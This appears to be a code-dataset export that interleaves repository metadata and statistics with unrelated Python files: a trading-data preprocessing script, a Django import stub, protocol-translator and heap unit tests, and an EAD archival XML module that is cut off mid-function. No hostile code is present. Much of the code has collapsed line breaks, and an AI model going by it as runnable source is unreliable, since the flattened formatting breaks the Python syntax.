[ "Apache-2.0" ]
null
null
null
code/scripts/preprocessing_repo2.py
utkaiser/bachelor_thesis
ddb44d6d9efed4940ff9c32ff4260e61b1648358
[ "Apache-2.0" ]
null
null
null
import pandas as pd def preprocess_repo2(df,asset,Trading_env): df = df.to_frame() index = df.index.strftime('%Y-%m-%d') index = [str.replace("-", "") for str in index] liste = [] for i in index: liste.append(i) liste.append(i) df_context = Trading_env.preprocess_context_data(asset) df['gold'] = df_context.iloc[:,0] df['interest'] = df_context.iloc[:,1] df['index'] = df_context.iloc[:,2] df['similar'] = df_context.iloc[:,3] df['vix'] = df_context.iloc[:,4] columns = df.columns.values.tolist() columns[0] = 'adjcp' df.columns = columns #df = df.rename(columns={'AAPL': 'adjcp'}) df = df.reset_index(drop=True) df.index = range(0, len(df) * 2, 2) for i in range(1, len(df) * 2, 2): line = pd.DataFrame({"gold": 1, "interest": 1, "index": 1, "similar": 1, 'adjcp': 1, 'vix':1}, index=[i]) df = df.append(line, ignore_index=False) df = df.sort_index().reset_index(drop=True) df["datadate"] = liste liste = [] for i in range(0, len(df) // 2): liste.append(i) liste.append(i) df.index = liste df["datadate"] = pd.to_numeric(df["datadate"]) fold1 = df[(df.datadate > 20100103) & (df.datadate <= 20161231)] fold2 = df[(df.datadate > 20170101) & (df.datadate <= 20171231)] fold3 = df[(df.datadate > 20180101) & (df.datadate <= 20181231)] fold4 = df[(df.datadate > 20190101) & (df.datadate <= 20191231)] ind1, ind2, ind3 = [], [], [] longerfold = fold1.append(fold2) for i in range(0, len(fold1) // 2): ind1.append(i) ind1.append(i) for i in range(0, len(fold2) // 2): ind2.append(i) ind2.append(i) for i in range(0, len(longerfold) // 2): ind3.append(i) ind3.append(i) fold1.index = ind1 fold2.index = ind2 try: fold3.index = ind2[:len(fold3.index)] fold4.index = ind2[:len(fold4.index)] except ValueError: fold3.index = ind2[:len(fold3.index)]+[len(fold2) // 2 +2,len(fold2) // 2+2,len(fold2) // 2 +3,len(fold2) // 2+3] longerfold.index = ind3 return [[fold1, fold2, fold3], [longerfold, fold3, fold4]] def merge_folds_test(fold1,fold2): longerfold = fold1.append(fold2) ind3 = [] for i in range(0, len(longerfold) // 2): ind3.append(i) ind3.append(i) longerfold.index = ind3 return longerfold def preprocess_repo2_corona(df,asset,Trading_env): df = df.to_frame() index = df.index.strftime('%Y-%m-%d') index = [str.replace("-", "") for str in index] liste = [] for i in index: liste.append(i) liste.append(i) df_context = Trading_env.preprocess_context_data(asset, True) df['gold'] = df_context.iloc[:,0] df['interest'] = df_context.iloc[:,1] df['index'] = df_context.iloc[:,2] df['similar'] = df_context.iloc[:,3] df['vix'] = df_context.iloc[:,4] columns = df.columns.values.tolist() columns[0] = 'adjcp' df.columns = columns #df = df.rename(columns={'AAPL': 'adjcp'}) df = df.reset_index(drop=True) df.index = range(0, len(df) * 2, 2) for i in range(1, len(df) * 2, 2): line = pd.DataFrame({"gold": 1, "interest": 1, "index": 1, "similar": 1, 'adjcp': 1, 'vix':1}, index=[i]) df = df.append(line, ignore_index=False) df = df.sort_index().reset_index(drop=True) df["datadate"] = liste liste = [] for i in range(0, len(df) // 2): liste.append(i) liste.append(i) df.index = liste df["datadate"] = pd.to_numeric(df["datadate"]) fold1 = df[(df.datadate > 20100103) & (df.datadate <= 20181231)] fold2 = df[(df.datadate > 20190101) & (df.datadate <= 20191231)] fold3 = df[(df.datadate > 20200101) & (df.datadate <= 20201231)] ind1, ind2, ind3 = [], [], [] for i in range(0, len(fold1) // 2): ind1.append(i) ind1.append(i) for i in range(0, len(fold2) // 2): ind2.append(i) ind2.append(i) for i in range(0, len(fold3) // 2): ind3.append(i) ind3.append(i) fold1.index = ind1 fold2.index = ind2 try: fold3.index = ind3[:len(fold3.index)] except ValueError: fold3.index = ind3[:len(fold3.index)]+[len(fold3) // 2 +2,len(fold3) // 2+2] return [[fold1, fold2, fold3]]
32.863636
121
0.576994
620
4,338
3.977419
0.130645
0.062449
0.03163
0.049067
0.801298
0.786294
0.750608
0.704785
0.704785
0.704785
0
0.078206
0.239511
4,338
132
122
32.863636
0.669294
0.018903
0
0.79646
0
0
0.045593
0
0
0
0
0
0
1
0.026549
false
0
0.00885
0
0.061947
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
f953af31fb5408b8b3f47c629279fdb4482664ae
165
py
Python
workon/views/__init__.py
devittek/django-workon
c39ddecac2649406a7a58922646478c5615d4cfd
[ "BSD-3-Clause" ]
1
2018-01-19T16:08:54.000Z
2018-01-19T16:08:54.000Z
workon/views/__init__.py
devittek/django-workon
c39ddecac2649406a7a58922646478c5615d4cfd
[ "BSD-3-Clause" ]
1
2020-07-06T08:35:18.000Z
2020-07-06T08:35:18.000Z
workon/views/__init__.py
devittek/django-workon
c39ddecac2649406a7a58922646478c5615d4cfd
[ "BSD-3-Clause" ]
4
2020-04-08T06:14:46.000Z
2020-12-11T14:28:06.000Z
from workon.views.save import * from workon.views.list import * from workon.views.view import * from workon.views.delete import * from workon.views.template import *
33
35
0.793939
25
165
5.24
0.36
0.381679
0.572519
0.641221
0
0
0
0
0
0
0
0
0.115152
165
5
35
33
0.89726
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
f97b9471bf0a7c131228f2d11b707d581c9fdd6f
9,007
py
Python
tests/unit_tests/test_component/protocol_translator/test_hvs_protocol_translator.py
ismaelJimenez/mamba_server
e6e2343291a0df24f226bde0d13e5bfa74cc3650
[ "MIT" ]
null
null
null
tests/unit_tests/test_component/protocol_translator/test_hvs_protocol_translator.py
ismaelJimenez/mamba_server
e6e2343291a0df24f226bde0d13e5bfa74cc3650
[ "MIT" ]
null
null
null
tests/unit_tests/test_component/protocol_translator/test_hvs_protocol_translator.py
ismaelJimenez/mamba_server
e6e2343291a0df24f226bde0d13e5bfa74cc3650
[ "MIT" ]
null
null
null
import pytest from mamba.core.context import Context from mamba.core.testing.utils import CallbackTestClass from mamba.component.protocol_translator import HvsProtocolTranslator from mamba.core.msg import Raw, ServiceResponse, ServiceRequest, ParameterType class TestClass: def setup_method(self): """ setup_method called for every method """ self.context = Context() def teardown_method(self): """ teardown_method called for every method """ del self.context def test_component_wo_context(self): with pytest.raises(TypeError) as excinfo: HvsProtocolTranslator() assert "missing 1 required positional argument" in str(excinfo.value) def test_component_w_empty_context(self): component = HvsProtocolTranslator(Context()) component.initialize() # Test default configuration assert component._configuration == {'name': 'hvs_protocol_translator'} def test_component_observer_raw_tc_helo(self): """ Test component external interface """ dummy_test_class = CallbackTestClass() component = HvsProtocolTranslator(self.context) component.initialize() # Subscribe to the 'tc' that shall be published self.context.rx['tc'].subscribe(dummy_test_class.test_func_1) # Send single msg TC - 1. Helo self.context.rx['raw_tc'].on_next(Raw("helo test\r\n")) assert dummy_test_class.func_1_times_called == 1 assert isinstance(dummy_test_class.func_1_last_value, ServiceRequest) assert dummy_test_class.func_1_last_value.id == 'test' assert dummy_test_class.func_1_last_value.type == ParameterType.helo assert dummy_test_class.func_1_last_value.args == [] # Send single msg TC - 2. Tc_Meta self.context.rx['raw_tc'].on_next(Raw("tc_meta test\r\n")) assert dummy_test_class.func_1_times_called == 2 assert isinstance(dummy_test_class.func_1_last_value, ServiceRequest) assert dummy_test_class.func_1_last_value.id == 'test' assert dummy_test_class.func_1_last_value.type == ParameterType.set_meta assert dummy_test_class.func_1_last_value.args == [] # Send single msg TC - 3. Tm_Meta self.context.rx['raw_tc'].on_next(Raw("tm_meta test\r\n")) assert dummy_test_class.func_1_times_called == 3 assert isinstance(dummy_test_class.func_1_last_value, ServiceRequest) assert dummy_test_class.func_1_last_value.id == 'test' assert dummy_test_class.func_1_last_value.type == ParameterType.get_meta assert dummy_test_class.func_1_last_value.args == [] # Send single msg TC - 4. Tc self.context.rx['raw_tc'].on_next(Raw('tc test "arg_1"\r\n')) assert dummy_test_class.func_1_times_called == 4 assert isinstance(dummy_test_class.func_1_last_value, ServiceRequest) assert dummy_test_class.func_1_last_value.id == 'test' assert dummy_test_class.func_1_last_value.type == ParameterType.set assert dummy_test_class.func_1_last_value.args == ['arg_1'] self.context.rx['raw_tc'].on_next(Raw('tc test "arg_1" "arg_2"\r\n')) assert dummy_test_class.func_1_times_called == 5 assert isinstance(dummy_test_class.func_1_last_value, ServiceRequest) assert dummy_test_class.func_1_last_value.id == 'test' assert dummy_test_class.func_1_last_value.type == ParameterType.set assert dummy_test_class.func_1_last_value.args == ['arg_1', 'arg_2'] self.context.rx['raw_tc'].on_next(Raw('tc test 2.3 arg_2\r\n')) assert dummy_test_class.func_1_times_called == 6 assert isinstance(dummy_test_class.func_1_last_value, ServiceRequest) assert dummy_test_class.func_1_last_value.id == 'test' assert dummy_test_class.func_1_last_value.type == ParameterType.set assert dummy_test_class.func_1_last_value.args == ['2.3', 'arg_2'] # Send single msg TC - 5. Tm self.context.rx['raw_tc'].on_next(Raw('tm test \r\n')) assert dummy_test_class.func_1_times_called == 7 assert isinstance(dummy_test_class.func_1_last_value, ServiceRequest) assert dummy_test_class.func_1_last_value.id == 'test' assert dummy_test_class.func_1_last_value.type == ParameterType.get assert dummy_test_class.func_1_last_value.args == [] self.context.rx['raw_tc'].on_next(Raw('tm test_2\r\n')) assert dummy_test_class.func_1_times_called == 8 assert isinstance(dummy_test_class.func_1_last_value, ServiceRequest) assert dummy_test_class.func_1_last_value.id == 'test_2' assert dummy_test_class.func_1_last_value.type == ParameterType.get assert dummy_test_class.func_1_last_value.args == [] # Send multiple msg TC self.context.rx['raw_tc'].on_next( Raw("helo test_2\r\nhelo test_3\r\n")) assert dummy_test_class.func_1_times_called == 10 assert isinstance(dummy_test_class.func_1_last_value, ServiceRequest) assert dummy_test_class.func_1_last_value.id == 'test_3' assert dummy_test_class.func_1_last_value.type == ParameterType.helo assert dummy_test_class.func_1_last_value.args == [] # Send unexisting TC type with pytest.raises(KeyError) as excinfo: self.context.rx['raw_tc'].on_next(Raw("wrong test\r\n")) assert str(excinfo.value) == "'wrong'" def test_component_observer_tm(self): """ Test component external interface """ dummy_test_class = CallbackTestClass() component = HvsProtocolTranslator(self.context) component.initialize() # Subscribe to the 'tc' that shall be published self.context.rx['raw_tm'].subscribe(dummy_test_class.test_func_1) # Send single TM - 1. Helo self.context.rx['tm'].on_next( ServiceResponse(id='test', type=ParameterType.helo)) assert dummy_test_class.func_1_times_called == 1 assert isinstance(dummy_test_class.func_1_last_value, Raw) assert dummy_test_class.func_1_last_value.msg == '> OK helo test\r\n' # Send single TM - 2. Tc_Meta self.context.rx['tm'].on_next( ServiceResponse(id='test', type=ParameterType.set_meta, value={ 'signature': [['str', 'int'], 'str'], 'description': 'description test 1' })) assert dummy_test_class.func_1_times_called == 2 assert isinstance(dummy_test_class.func_1_last_value, Raw) assert dummy_test_class.func_1_last_value.msg == '> OK test;2;description test 1\r\n' # Send single TM - 3. Tm_Meta self.context.rx['tm'].on_next( ServiceResponse(id='test', type=ParameterType.get_meta, value={ 'signature': [['str', 'int'], 'str'], 'description': 'description test 1' })) assert dummy_test_class.func_1_times_called == 3 assert isinstance(dummy_test_class.func_1_last_value, Raw) assert dummy_test_class.func_1_last_value.msg == '> OK test;str;str;description test 1;7;4\r\n' # Send single TM - 4. Tc self.context.rx['tm'].on_next( ServiceResponse(id='test', type=ParameterType.set)) assert dummy_test_class.func_1_times_called == 4 assert isinstance(dummy_test_class.func_1_last_value, Raw) assert dummy_test_class.func_1_last_value.msg == '> OK test\r\n' # Send single TM - 5. Tm self.context.rx['tm'].on_next( ServiceResponse(id='test', type=ParameterType.get, value=1)) assert dummy_test_class.func_1_times_called == 5 assert isinstance(dummy_test_class.func_1_last_value, Raw) assert '> OK test;' in dummy_test_class.func_1_last_value.msg assert ';1;1;0;1\r\n' in dummy_test_class.func_1_last_value.msg # Send single TM - 6. Error self.context.rx['tm'].on_next( ServiceResponse(id='test', type=ParameterType.error, value='error msg')) assert dummy_test_class.func_1_times_called == 6 assert isinstance(dummy_test_class.func_1_last_value, Raw) assert dummy_test_class.func_1_last_value.msg == '> ERROR test error msg\r\n' # Send multiple TM self.context.rx['tm'].on_next( ServiceResponse(id='test_3', type=ParameterType.helo)) self.context.rx['tm'].on_next( ServiceResponse(id='test_4', type=ParameterType.helo)) assert dummy_test_class.func_1_times_called == 8 assert isinstance(dummy_test_class.func_1_last_value, Raw) assert dummy_test_class.func_1_last_value.msg == '> OK helo test_4\r\n'
44.151961
103
0.666704
1,242
9,007
4.492754
0.082931
0.114516
0.178136
0.216129
0.821685
0.804839
0.79767
0.79767
0.792832
0.753226
0
0.018852
0.234373
9,007
203
104
44.369458
0.790313
0.069946
0
0.558824
0
0
0.085893
0.005638
0
0
0
0
0.514706
1
0.044118
false
0
0.036765
0
0.088235
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
8
fb10bb0a173f11bafec1dfb1e4b584d78101815a
5,528
py
Python
test/test_ternary_min_heap.py
kisliakovsky/structures
19969470a7e9b150b077082cc8ca0c2fc9be279e
[ "MIT" ]
null
null
null
test/test_ternary_min_heap.py
kisliakovsky/structures
19969470a7e9b150b077082cc8ca0c2fc9be279e
[ "MIT" ]
null
null
null
test/test_ternary_min_heap.py
kisliakovsky/structures
19969470a7e9b150b077082cc8ca0c2fc9be279e
[ "MIT" ]
null
null
null
from unittest import TestCase from src.heap import Heap, MinIntKey, Entry class TestBinaryMinHeap(TestCase): def test_init(self): heap = Heap[MinIntKey, str](3, [ Entry(MinIntKey(14), 'A'), Entry(MinIntKey(5), 'B'), Entry(MinIntKey(7), 'C'), Entry(MinIntKey(18), 'D'), Entry(MinIntKey(42), 'E'), Entry(MinIntKey(12), 'F'), Entry(MinIntKey(11), 'G'), Entry(MinIntKey(18), 'H'), Entry(MinIntKey(29), 'I') ]) self.assertEqual([ Entry(MinIntKey(5), 'B'), Entry(MinIntKey(11), 'G'), Entry(MinIntKey(7), 'C'), Entry(MinIntKey(18), 'D'), Entry(MinIntKey(42), 'E'), Entry(MinIntKey(12), 'F'), Entry(MinIntKey(14), 'A'), Entry(MinIntKey(18), 'H'), Entry(MinIntKey(29), 'I') ], heap.as_list()) def test_push(self): heap = Heap[MinIntKey, str](3, []) heap.push(Entry(MinIntKey(14), 'A')) heap.push(Entry(MinIntKey(5), 'B')) heap.push(Entry(MinIntKey(7), 'C')) heap.push(Entry(MinIntKey(18), 'D')) heap.push(Entry(MinIntKey(42), 'E')) heap.push(Entry(MinIntKey(12), 'F')) heap.push(Entry(MinIntKey(11), 'G')) heap.push(Entry(MinIntKey(18), 'H')) heap.push(Entry(MinIntKey(29), 'I')) self.assertEqual([ Entry(MinIntKey(5), 'B'), Entry(MinIntKey(11), 'G'), Entry(MinIntKey(7), 'C'), Entry(MinIntKey(18), 'D'), Entry(MinIntKey(42), 'E'), Entry(MinIntKey(14), 'A'), Entry(MinIntKey(12), 'F'), Entry(MinIntKey(18), 'H'), Entry(MinIntKey(29), 'I') ], heap.as_list()) def test_pop(self): heap = Heap[MinIntKey, str](3, []) heap.push(Entry(MinIntKey(14), 'A')) heap.push(Entry(MinIntKey(5), 'B')) heap.push(Entry(MinIntKey(7), 'C')) heap.push(Entry(MinIntKey(18), 'D')) heap.push(Entry(MinIntKey(42), 'E')) heap.push(Entry(MinIntKey(12), 'F')) heap.push(Entry(MinIntKey(11), 'G')) heap.push(Entry(MinIntKey(18), 'H')) heap.push(Entry(MinIntKey(29), 'I')) self.assertEqual(Entry(MinIntKey(5), 'B'), heap.pop()) self.assertEqual(Entry(MinIntKey(7), 'C'), heap.pop()) self.assertEqual(Entry(MinIntKey(11), 'G'), heap.pop()) self.assertEqual(Entry(MinIntKey(12), 'F'), heap.pop()) self.assertEqual(Entry(MinIntKey(14), 'A'), heap.pop()) self.assertEqual(Entry(MinIntKey(18), 'H'), heap.pop()) self.assertEqual(Entry(MinIntKey(18), 'D'), heap.pop()) self.assertEqual(Entry(MinIntKey(29), 'I'), heap.pop()) self.assertEqual(Entry(MinIntKey(42), 'E'), heap.pop()) def test_peek(self): heap = Heap[MinIntKey, str](3, []) heap.push(Entry(MinIntKey(14), 'A')) heap.push(Entry(MinIntKey(5), 'B')) heap.push(Entry(MinIntKey(7), 'C')) heap.push(Entry(MinIntKey(18), 'D')) heap.push(Entry(MinIntKey(42), 'E')) heap.push(Entry(MinIntKey(12), 'F')) heap.push(Entry(MinIntKey(11), 'G')) heap.push(Entry(MinIntKey(18), 'H')) heap.push(Entry(MinIntKey(29), 'I')) self.assertEqual(Entry(MinIntKey(5), 'B'), heap.peek()) self.assertEqual([ Entry(MinIntKey(5), 'B'), Entry(MinIntKey(11), 'G'), Entry(MinIntKey(7), 'C'), Entry(MinIntKey(18), 'D'), Entry(MinIntKey(42), 'E'), Entry(MinIntKey(14), 'A'), Entry(MinIntKey(12), 'F'), Entry(MinIntKey(18), 'H'), Entry(MinIntKey(29), 'I') ], heap.as_list()) def test_change_key(self): heap = Heap[MinIntKey, str](3, []) heap.push(Entry(MinIntKey(14), 'A')) heap.push(Entry(MinIntKey(5), 'B')) heap.push(Entry(MinIntKey(7), 'C')) heap.push(Entry(MinIntKey(18), 'D')) heap.push(Entry(MinIntKey(42), 'E')) heap.push(Entry(MinIntKey(12), 'F')) heap.push(Entry(MinIntKey(11), 'G')) heap.push(Entry(MinIntKey(18), 'H')) heap.push(Entry(MinIntKey(29), 'I')) with self.assertRaises(IndexError): heap.change_key(9, MinIntKey(20)) heap.change_key(8, MinIntKey(4)) self.assertEqual(Entry(MinIntKey(4), 'I'), heap.peek()) def test_delete(self): heap = Heap[MinIntKey, str](3, []) heap.push(Entry(MinIntKey(14), 'A')) heap.push(Entry(MinIntKey(5), 'B')) heap.push(Entry(MinIntKey(7), 'C')) heap.push(Entry(MinIntKey(18), 'D')) heap.push(Entry(MinIntKey(42), 'E')) heap.push(Entry(MinIntKey(12), 'F')) heap.push(Entry(MinIntKey(11), 'G')) heap.push(Entry(MinIntKey(18), 'H')) heap.push(Entry(MinIntKey(29), 'I')) del heap[8] self.assertEqual([ Entry(MinIntKey(5), 'B'), Entry(MinIntKey(11), 'G'), Entry(MinIntKey(7), 'C'), Entry(MinIntKey(18), 'D'), Entry(MinIntKey(42), 'E'), Entry(MinIntKey(14), 'A'), Entry(MinIntKey(12), 'F'), Entry(MinIntKey(18), 'H') ], heap.as_list()) def test_is_empty(self): heap = Heap[MinIntKey, str](3, []) self.assertTrue(heap.is_empty()) heap.push(Entry(MinIntKey(14), 'A')) self.assertFalse(heap.is_empty())
38.388889
63
0.526773
668
5,528
4.333832
0.080838
0.488428
0.206563
0.349568
0.884974
0.871157
0.758549
0.732297
0.726425
0.726425
0
0.047406
0.271165
5,528
143
64
38.657343
0.671134
0
0
0.774436
0
0
0.018271
0
0
0
0
0
0.135338
1
0.052632
false
0
0.015038
0
0.075188
0
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
10
348af4e88a7961fdc1ad9f15c41c51915ca96dcc
48,963
py
Python
source/SpreadsheettoEAD/func/archdesc_lower.py
gwiedeman/eadmachine
f6c0c0f92fc20ab6dcf4962fda827b7adb4749d4
[ "Unlicense" ]
5
2016-01-25T15:27:12.000Z
2021-08-17T22:31:48.000Z
source/SpreadsheettoEAD/func/archdesc_lower.py
gwiedeman/eadmachine
f6c0c0f92fc20ab6dcf4962fda827b7adb4749d4
[ "Unlicense" ]
null
null
null
source/SpreadsheettoEAD/func/archdesc_lower.py
gwiedeman/eadmachine
f6c0c0f92fc20ab6dcf4962fda827b7adb4749d4
[ "Unlicense" ]
null
null
null
# module for <archdesc> elements matched to lower levels of the <dsc> via a unitid import xml.etree.cElementTree as ET def acquisitions_lower(arch_root, input_element, version, tag_name, collectionID, series_separator): if arch_root.find('dsc/c01') is None and arch_root.find('dsc/c') is None: pass else: if arch_root.find('dsc/c01') is None: if arch_root.find('dsc/c') is None: pass else: c_numbers = False if "id" in arch_root.find('dsc/c').attrib: attribute_id = True else: attribute_id = False else: c_numbers = True if "id" in arch_root.find('dsc/c01').attrib: attribute_id = True else: attribute_id = False if input_element is None: pass else: for acquis in input_element: if acquis.find('UnitID').text: if acquis.find('Event').text: if attribute_id == True: if c_numbers == True: # @id in <c01>, <c02>, etc.: for match in arch_root.find('dsc').iter(): if match.tag.startswith('c0') or match.tag.startswith('c1'): if match.attrib['id'] == collectionID + acquis.find('UnitID').text: if match.find(tag_name) is None: # if there is no <aquis> element acquis_element = ET.Element(tag_name) append_index = match.getchildren().index(match.find('did')) + 1 match.insert(append_index, acquis_element) chronlist_element = ET.Element('chronlist') acquis_element.append(chronlist_element) chronitem_element = ET.Element('chronitem') chronlist_element.append(chronitem_element) event_element = ET.Element('event') chronitem_element.append(event_element) event_element.text = acquis.find('Event').text if version == "ead2002": date_element = ET.Element('date') chronitem_element.append(date_element) date_element.text = acquis.find('Date').text date_element.set('normal', acquis.find('DateNormal').text) else: from date import basic_date chronitem_element.append(basic_date(acquis.find('Date').text, acquis.find('DateNormal').text, 'inclusive')) else: # if there is already an <acquis> element chronitem_element = ET.Element('chronitem') match.find('acqinfo').append(chronitem_element) event_element = ET.Element('event') chronitem_element.append(event_element) event_element.text = acquis.find('Event').text if version == "ead2002": date_element = ET.Element('date') chronitem_element.append(date_element) date_element.text = acquis.find('Date').text date_element.set('normal', acquis.find('DateNormal').text) else: from date import basic_date chronitem_element.append(basic_date(acquis.find('Date').text, acquis.find('DateNormal').text, 'inclusive')) else: # @id in <c>: for match in arch_root.find('dsc').iter('c'): if match.attrib['id'] == collectionID + acquis.find('UnitID').text: if match.find(tag_name) is None: # if there is no <aquis> element acquis_element = ET.Element(tag_name) match.append(acquis_element) chronlist_element = ET.Element('chronlist') append_index = match.getchildren().index(match.find('did')) + 1 match.insert(append_index, acquis_element) chronitem_element = ET.Element('chronitem') chronlist_element.append(chronitem_element) event_element = ET.Element('event') chronitem_element.append(event_element) event_element.text = acquis.find('Event').text if version == "ead2002": date_element = ET.Element('date') chronitem_element.append(date_element) date_element.text = acquis.find('Date').text date_element.set('normal', acquis.find('DateNormal').text) else: from date import basic_date chronitem_element.append(basic_date(acquis.find('Date').text, acquis.find('DateNormal').text, 'inclusive')) else: # if there is already an <acquis> element chronitem_element = ET.Element('chronitem') match.find('acqinfo').append(chronitem_element) event_element = ET.Element('event') chronitem_element.append(event_element) event_element.text = acquis.find('Event').text if version == "ead2002": date_element = ET.Element('date') chronitem_element.append(date_element) date_element.text = acquis.find('Date').text date_element.set('normal', acquis.find('DateNormal').text) else: from date import basic_date chronitem_element.append(basic_date(acquis.find('Date').text, acquis.find('DateNormal').text, 'inclusive')) else: if c_numbers == True: # <unitid> within <did> of <c01>, <c02>, etc.: for match in arch_root.find('dsc').iter(): if match.tag.startswith('c0') or match.tag.startswith('c1'): if match.find('did/unitid').text: if match.find('did/unitid').text == collectionID + acquis.find('UnitID').text: if match.find(tag_name) is None: # if there is no <aquis> element acquis_element = ET.Element(tag_name) append_index = match.getchildren().index(match.find('did')) + 1 match.insert(append_index, acquis_element) chronlist_element = ET.Element('chronlist') acquis_element.append(chronlist_element) chronitem_element = ET.Element('chronitem') chronlist_element.append(chronitem_element) event_element = ET.Element('event') chronitem_element.append(event_element) event_element.text = acquis.find('Event').text if version == "ead2002": date_element = ET.Element('date') chronitem_element.append(date_element) date_element.text = acquis.find('Date').text date_element.set('normal', acquis.find('DateNormal').text) else: from date import basic_date chronitem_element.append(basic_date(acquis.find('Date').text, acquis.find('DateNormal').text, 'inclusive')) else: # if there is already an <acquis> element chronitem_element = ET.Element('chronitem') match.find('acqinfo').append(chronitem_element) event_element = ET.Element('event') chronitem_element.append(event_element) event_element.text = acquis.find('Event').text if version == "ead2002": date_element = ET.Element('date') chronitem_element.append(date_element) date_element.text = acquis.find('Date').text date_element.set('normal', acquis.find('DateNormal').text) else: from date import basic_date chronitem_element.append(basic_date(acquis.find('Date').text, acquis.find('DateNormal').text, 'inclusive')) else: # <unitid> within <did> of <c> or no series: for match in arch_root.find('dsc').iter('c'): if match.find('did/unitid') is None: pass else: if match.find('did/unitid').text: if match.find('did/unitid').text == collectionID + acquis.find('UnitID').text: if match.find(tag_name) is None: # if there is no <aquis> element acquis_element = ET.Element(tag_name) append_index = match.getchildren().index(match.find('did')) + 1 match.insert(append_index, acquis_element) chronlist_element = ET.Element('chronlist') acquis_element.append(chronlist_element) chronitem_element = ET.Element('chronitem') chronlist_element.append(chronitem_element) event_element = ET.Element('event') chronitem_element.append(event_element) event_element.text = acquis.find('Event').text if version == "ead2002": date_element = ET.Element('date') chronitem_element.append(date_element) date_element.text = acquis.find('Date').text date_element.set('normal', acquis.find('DateNormal').text) else: from date import basic_date chronitem_element.append(basic_date(acquis.find('Date').text, acquis.find('DateNormal').text, 'inclusive')) else: # if there is already an <acquis> element chronitem_element = ET.Element('chronitem') match.find('acqinfo').append(chronitem_element) event_element = ET.Element('event') chronitem_element.append(event_element) event_element.text = acquis.find('Event').text if version == "ead2002": date_element = ET.Element('date') chronitem_element.append(date_element) date_element.text = acquis.find('Date').text date_element.set('normal', acquis.find('DateNormal').text) else: from date import basic_date chronitem_element.append(basic_date(acquis.find('Date').text, acquis.find('DateNormal').text, 'inclusive')) def controlaccess_lower(arch_root, input_element, version, tag_name, collectionID, series_separator): if arch_root.find('dsc/c01') is None and arch_root.find('dsc/c') is None: pass else: if arch_root.find('dsc/c01') is None: if arch_root.find('dsc/c') is None: pass else: c_numbers = False if "id" in arch_root.find('dsc/c').attrib: attribute_id = True else: attribute_id = False else: c_numbers = True if "id" in arch_root.find('dsc/c01').attrib: attribute_id = True else: attribute_id = False for heading in input_element: if heading.find('UnitID').text: if heading.find('Part').text: if heading.find('ElementName').text: if attribute_id == True: if c_numbers == True: # @id in <c01>, <c02>, etc.: for match in arch_root.find('dsc').iter(): if match.tag.startswith('c0') or match.tag.startswith('c1'): if match.attrib['id'] == collectionID + heading.find('UnitID').text: if match.find(tag_name) is None: # if there is no <controlaccess> element controlaccess_element = ET.Element('controlaccess') append_index = match.getchildren().index(match.find('did')) + 1 match.insert(append_index, controlaccess_element) new_element = ET.Element(heading.find('ElementName').text) controlaccess_element.append(new_element) part_element = ET.Element('part') new_element.append(part_element) part_element.text = heading.find('Part').text if heading.find('MARCEncoding').text: new_element.set('encodinganalog', heading.find('MARCEncoding').text) if heading.find('Identifier').text: if version == "ead3": new_element.set('identifier', heading.find('Identifier').text) else: new_element.set('id', heading.find('Identifier').text) if heading.find('Relator').text: if version == "ead3": new_element.set('relator', heading.find('Relator').text) else: new_element.set('role', heading.find('Relator').text) if heading.find('Normal').text: new_element.set('normal', heading.find('Normal').text) if heading.find('Source').text: new_element.set('source', heading.find('Source').text) else: # if there is already an <controlaccess> element new_element = ET.Element(heading.find('ElementName').text) match.find('controlaccess').append(new_element) part_element = ET.Element('part') new_element.append(part_element) part_element.text = heading.find('Part').text if heading.find('MARCEncoding').text: new_element.set('encodinganalog', heading.find('MARCEncoding').text) if heading.find('Identifier').text: if version == "ead3": new_element.set('identifier', heading.find('Identifier').text) else: new_element.set('id', heading.find('Identifier').text) if heading.find('Relator').text: if version == "ead3": new_element.set('relator', heading.find('Relator').text) else: new_element.set('role', heading.find('Relator').text) if heading.find('Normal').text: new_element.set('normal', heading.find('Normal').text) if heading.find('Source').text: new_element.set('source', heading.find('Source').text) else: # @id in <c>: for match in arch_root.find('dsc').iter('c'): if match.attrib['id'] == collectionID + heading.find('UnitID').text: if match.find(tag_name) is None: # if there is no <controlaccess> element controlaccess_element = ET.Element('controlaccess') append_index = match.getchildren().index(match.find('did')) + 1 match.insert(append_index, controlaccess_element) new_element = ET.Element(heading.find('ElementName').text) controlaccess_element.append(new_element) part_element = ET.Element('part') new_element.append(part_element) part_element.text = heading.find('Part').text if heading.find('MARCEncoding').text: new_element.set('encodinganalog', heading.find('MARCEncoding').text) if heading.find('Identifier').text: if version == "ead3": new_element.set('identifier', heading.find('Identifier').text) else: new_element.set('id', heading.find('Identifier').text) if heading.find('Relator').text: if version == "ead3": new_element.set('relator', heading.find('Relator').text) else: new_element.set('role', heading.find('Relator').text) if heading.find('Normal').text: new_element.set('normal', heading.find('Normal').text) if heading.find('Source').text: new_element.set('source', heading.find('Source').text) else: # if there is already an <controlaccess> element new_element = ET.Element(heading.find('ElementName').text) match.find('controlaccess').append(new_element) part_element = ET.Element('part') new_element.append(part_element) part_element.text = heading.find('Part').text if heading.find('MARCEncoding').text: new_element.set('encodinganalog', heading.find('MARCEncoding').text) if heading.find('Identifier').text: if version == "ead3": new_element.set('identifier', heading.find('Identifier').text) else: new_element.set('id', heading.find('Identifier').text) if heading.find('Relator').text: if version == "ead3": new_element.set('relator', heading.find('Relator').text) else: new_element.set('role', heading.find('Relator').text) if heading.find('Normal').text: new_element.set('normal', heading.find('Normal').text) if heading.find('Source').text: new_element.set('source', heading.find('Source').text) else: if c_numbers == True: # <unitid> within <did> of <c01>, <c02>, etc.: for match in arch_root.find('dsc').iter(): if match.tag.startswith('c0') or match.tag.startswith('c1'): if match.find('did/unitid').text: if match.find('did/unitid').text == collectionID + heading.find('UnitID').text: if match.find(tag_name) is None: # if there is no <controlaccess> element controlaccess_element = ET.Element('controlaccess') append_index = match.getchildren().index(match.find('did')) + 1 match.insert(append_index, controlaccess_element) new_element = 